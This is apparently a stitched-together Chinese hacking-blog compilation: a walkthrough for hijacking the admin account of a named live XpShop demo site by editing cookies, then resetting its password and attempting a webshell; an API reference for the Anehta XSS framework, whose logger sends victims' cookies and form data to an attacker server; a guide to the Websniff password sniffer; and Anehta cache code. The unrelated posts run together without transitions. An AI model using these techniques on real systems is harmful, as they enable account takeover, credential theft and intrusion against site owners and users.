Chinadu's Blog

文章作者：121711090
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

无意中发现这个漏洞的..官方现在还不知道...我没有在别处公布哦..
这个漏洞不好...要直拉改人家管理员密码!!有点儿缺德!!!...
但为了我们的网络更安全..还是看看吧...

首先先看看这个站吧:http://demo1.xpshop.cn/
先注册一个用户进去..为了方便也为了不要那么垃圾账户在人家系统里.我这说一下我注册好了的用户名:wc1217 密码:77423704

好..还是用啊D打开网站比较好..看截图:记得要保留cookies

之后便看看他的Cookies...

代码:

LoginCode=0684; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=3pxjo23zuikyrk45mx0g4a55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=14

我们改一下这两个值:LoginCode=0684;mid=14   .......都改成1      :

代码:

LoginCode=1; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=3pxjo23zuikyrk45mx0g4a55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=1

点击修改..后右键刷新看一下..要注意.不要刷得太快...不然就没用了..

之后就成这样了:

当然..也有可能没有..那我们就要改一下:"ASP.NET_SessionId=" 这个值就好了..随便改一个字就行:如下:

代码:

LoginCode=1; demo1.xpshop.cnResource=zh-cn; ASP.NET_SessionId=fu1q1w3g3qc2vn55naohei55; XpShop_CartID=0f810c00-fbbf-4984-951e-555357b14a54; demo1.xpshop.cnLogin=mid=1

好了..现在再看看会员信息:
是不是有一个"找回密码答案："呵.....个位都想到了吧..直接就能改管理员密码了..
http://demo1.xpshop.cn/memberLostpass.aspx这个是改密码的..
如下图:

成功.....http://demo1.xpshop.cn/admin/default.aspx这里登录后就是怎么拿WEBSHELL了..
可是我一直没弄成..理论是只有这样才行..看..

先插马..再备份..但这里出错了..
还望达人能想出更好的办法..
我想了一晚上了....没辙了....
http://demo1.xpshop.cn/admin/ftb.imagegallery.aspx?frame=1&rif=admin&cif=admin 这可以列目录

好..就那么多了....有哪位达人弄出好办法了..千万别望了告诉我呀...联系方式:http://blog.sina.com.cn/qq1217

http://demo1.xpshop.cn/helps/t.txt

添加flash广告处可直接上传马

营销管理 － flash广告添加

作者：刺

这本是下个版本里的help()函数功能，现在单独拿出来做一个速查手册。

个别API包括在下一个版本中。

Anehta core API Help:
anehta.core.freeze(ms); //freeze current page during the time(ms)

anehtaCache.addItem(Key, Value); //add a key to cache; return Value;

anehtaCache.removeItem(Key); //remove value of the key; return the value of the removed key;

anehtaCache.dropItem(Key); //delete the key in the cache; return true/false;

anehtaCache.getItem(Key); //get the value of the key; return the value;

anehtaCache.setItem(Key, Value); //change the value of the key;if key not exist, add one;

anehtaCache.appendItem(Key, Value); //append value to the specific key;

anehtaCache.hasItem(Key); //test if the key exist;

anehtaCache.showKeys(); //alert all keys in the cache;

anehtaCache.clone(); //clone a cache object; return the cloned object;

anehtaCache.clear(); //empty the cache;

anehta.core.setWatermark(flashID, value); //set the value as the flash cookie; invoke the flashID's callback

anehta.core.getWatermark(flashID); //get the value of the flash cookie; invoke the flashID's callback

Anehta dom API Help:
anehta.dom.getDocument(targetwindow); //return the document object of the target window

anehta.dom.addCookie(cookiename,value); //add a 'name=value;' to current cookies; return true/false

anehta.dom.checkCookie(cookiename); //check if current cookies contain a cookie named 'cookiename'; return true/false

anehta.dom.getCookie(cookiename); //get the cookiename's value from current cookies; return the value of cookiename

anehta.dom.setCookie(cookiename,value); //change the value of cookiename; return true/false

anehta.dom.delCookie(cookiename); //expire the cookiename from current cookies; return true/false

anehta.dom.persistCookie(cookiename); //make the cookiename never expired; return true/false

anehta.dom.getQueryStr(qstrname); //get the value of the qstrname from current uri; return the param's value

Anehta net API Help:
anehta.net.getURL(targeturl); //create an image element and GET the targeturl once as an img src

anehta.net.postForm(targeturl); //create a form element and POST to the targeturl, current page will be redirected

anehta.net.postFormIntoIframe(iframe, targeturl, postdata); //create a form element and POST with the postdata to the targeturl inside the iframe, current page won't be redirected

anehta.net.cssGet(targeturl); //create a style element and IMPORT the targeturl;this will make a GET request.

Anehta logger API Help:
anehta.logger.logInfo(param); //send param as querystrings to the anehta server by getURL() function;plain text transfer

anehta.logger.logCookie(); //get watermark, cookie, current uri, and send them to the anehta server by getURL() function; base64 encoded

anehta.logger.logForm(form); //get all the inputs value of the specific form and send them to the anehta server by getURL() function; base64 encoded

anehta.logger.logCache(); //check the cache data in every 5 seconds,if cache data changed,send them to the anehta server by postFormIntoIframe() function; plain text transfer

Anehta ajax API Help:
anehtaXmlHttp.init(); //initial the ajax;you must call this function before your ajax request

anehta.ajax.post(url, postdata); //ajax post; save response in cache as 'ajaxPostResponseHeaders' and 'ajaxPostResponse

anehta.ajax.get(url); //ajax get; save response in cache as 'ajaxGetResponseHeaders' and 'ajaxGetResponse

Anehta inject API Help:
anehta.inject.injectScript(url); //create a script element with the 'url' as the src attribute and append it to body

anehta.inject.removeScript(s); //remove the specific script s from body

anehta.inject.addScript(url); //add a script with the 'url' as the src attribute by a document.write() method

anehta.inject.injectCSS(url); //create a link element with the 'url' as the href attribute

anehta.inject.injectIframe(url); //create a hidden iframe point to the specific url and append to body

anehta.inject.addIframe(url); //create a div element and set its innerHTML as a hidden iframe which points to the specific url

anehta.inject.createIframe(w); //create a hidden iframe under the specific window 'w'; return the iframe

anehta.inject.injectScriptIntoIframe(f, proc); //write javascripts 'proc' to the specific iframe 'f'.

anehta.inject.injectFlash(flashId, flashSrc, flashParam); //create a div and inject a flash into it;

anehtaHook.hook('fnhooked', 'savedfn', 'fn'); //hook the fnhooked() function with fn() function; the original function will be save as savedfn().

anehtaHook.unhook('fnhooked', 'savedfn'); //recover the fnhooked() function from the savedfn() function.

anehtaHook.injectFn('fninjected', 'savedfn', 'fn'); //inject the fnhooked() function with fn() function; the original function will be save as savedfn()

anehtaHook.hookSubmit(f, injectFn); //hook the submit of form 'f', and call injectFn() function before f's submit.

Anehta detect API Help:
tyle="color: #0000ff">anehtaBrowser.type(); //sniffer the browser type in a reliable way; return msie/mozilla/opera/safari/chrome; also save a 'BrowserSniffer' in cache

anehtaBrowser.version(); // return the browser version from userAgent.

anehta.detect.screenSize(); // return the client's Screen Size.

anehta.detect.flash(targetVersion); // check if the client support flash and flash version is higher than targetVersion; return true/false

anehta.detect.activex(objName); // check if client has the specific objName activex control; return true/false

anehta.detect.ffplugin(pluginName); // check if client has the specific firefox plugin; return true/false.

Anehta scanner API Help:
anehta.scanner.activex(); //scan all activex controls from anehta.signatures.activex list, save the result as 'Activex' in cache; return the result

anehta.scanner.ffPlugins (); //scan all the firefox plugins, save the result as 'FirefoxPlugins' in the cache; return the result.

anehta.scanner.checkPort(scanHost, scanPort, timeout); //check the specific port on the specific host is open or closed.

anehta.scanner.ports(target, timeout); //scan all the ports listed in anehta.signatures.ports against the specific host.

anehta.scanner.history(); //scan if the client has ever visited the links listed in anehta.signatures.sites; save the result as 'sitesHistory' in cache; return the result

Anehta misc API Help:
anehta.misc.getClipboard(); //get the clipboard's content(text); IE only.

anehta.misc.setClipboard(); //set the clipboard's content(text); IE only.

anehta.misc.getCurrentPage(); //return the current page's html code.

Anehta crypto API Help:
anehta.crypto.base64Encode(str); //return the base64 encode of the str.

anehta.crypto.base64Decode(str); //decode the base64 str, and return the decoded one.

作者：cnqing

PS:应邀写了篇帮助

Websniff 1.0 是user权限的 rawsocket sniff，可以截取ftp,http,smtp ...等密码，在渗透过程中绝对实用的工具。cncert网站发布的websniff需要 .net 2.0，客户端用firefox，如果用IE会让你错过一个参数设置。

先看下截图

bindip: 有多个IP的情况下，选择要监听的IP地址。只有一个IP，就不用选了。
filterport: 要监听的端口，只能同时监听一个，该参数匹配源地址或目的地址。
MiniSizeToCapture: 要捕获的数据包大小最小长度，例：设为40 那么只抓长度大于40的数据包。
KeyWordsFilter:要包含的关键字，例：设为"passwd " 在符合上面条件的数据包进一步过滤包含"passwd"的数据包，1.0版本不支持多关键字。
Logfile:捕获的数据包文件存放位置，必须为一个可写目录。
StopAttime:定时停止，格式为给出的格式，必须设置这个参数。

按钮功能 ：
启动 启动当前任务，不要重复启动。
停止 停止当前任务。
刷新状态 可以查看当前抓到的数据包数和任务终止时间。

注意：欲下载数据包文件前必须停止，或等待任务终止。最好不要关闭当前页，以便控制本次任务状态。

常用设置方案：
1.FTP 如上图
2.HTTP 表单记录
bindip=IP地址
filterport: 80
MiniSizeToCapture: 0
KeyWordsFilter:user=
Logfile:捕获的数据包文件存放位置，必须为一个可写目录。
StopAttime:定时停止，格式为给出的格式，必须设置这个参数。

停止任务后将数据包文件下载到本地，使用wireshark或记事本查看内容。

关于抓取到的内容：
在有些情况下只能抓取到下行数据，即向服务器提交的数据，对记录FTP,HTTP表单,SMTP 这已足够。

后续版本将以ASPXshell客户端插件形式发布。

作者：刺

有心的朋友可能已经注意到了，Anehta 中实现了一个客户端Cache。

位置在core里面：
anehta.core.cache = function(){}

在core中我预定义了一个变量，可以让我们很方便的操作cache：

// 初始化一个cache出来共享数据
var anehtaCache = new anehta.core.cache();

在写模块的时候，直接使用 anehtaCache这个变量就可以了。

那么我们为什么要用cache? 它是做什么的？

cache的思想最初来源于一个jQuery 的插件： jCache

我最初的想法是在anehta的底层实现一套共享数据的机制，让模块之间可以互相通信，可以把要保存的东西放到这个里面来。

后来寻找一些资料后，找到了jCache这个插件，但是它还是无法完全满足我的需求，于是，我扩展了jCache大概50%的代码，有了现在的 anehtaCache 1.0

使用anehtaCache后，在客户端的数据操作将会变得非常简单，比如ajax得到的结果，可以直接保存在cache里，让其他模块进行访问。

cache就像一个公共的共享pool，任何模块都可以来这里找自己想要的，或者可以把想保存和共享的放到这里。

cache的实现其实也很简单，就是两个数组，一个保存key，一个保存value，是一一对应的关系，找到了key，就能取出相应的值。

cache使用的是FIFO的方式，即先进先出，默认长度是30，就是说可以保存30个不同的key，如果超过了30，就会把最先保存进行的删掉。

对anehtaCache的操作，可以看这张图，这是我在anehta的下一个版本里会加入的help()函数的功能。

可以看到对cache的操作是非常灵活的，用的最多的还是
anehtaCache.setItem(key, value);

anehtaCache.getItem(key);

anehtaCache.appendItem(key,value);

这几个，比如在ajax的实现中，就默认保存了response结果到cache中:
anehta.ajax.get = function(url){
anehtaXmlHttp.get(url, null, function(response, responseHeaders) {
if (responseHeaders != null) {
//alert(responseHeaders);
anehtaCache.setItem("ajaxGetResponseHeaders", responseHeaders);
}

if (response != null) {
//alert(response);
anehtaCache.setItem("ajaxGetResponse", response);
}
});
}

而在anehta.logger.logCache() 这个函数中，则会每隔五秒钟检查一次cache，如果发现里面的数据有变化，就会直接发送cache到服务器:
var keys = anehtaCache.showKeys();
if (keys != null){ // cache里有东西
var cache = "";
for (i=0; i<keys.length; i++) {
if (anehtaCache.hasItem(keys[i]) == true){
cache = cache + "\r\n" + XssInfo_S + keys[i] + ": " + anehtaCache.getItem(keys[i]) + XssInfo_E;
}
}

anehtaCache就是anehta的虚拟内存，是anehta的核心设计理念之一，使用它，将让你的xss payload变得更加灵活和强大。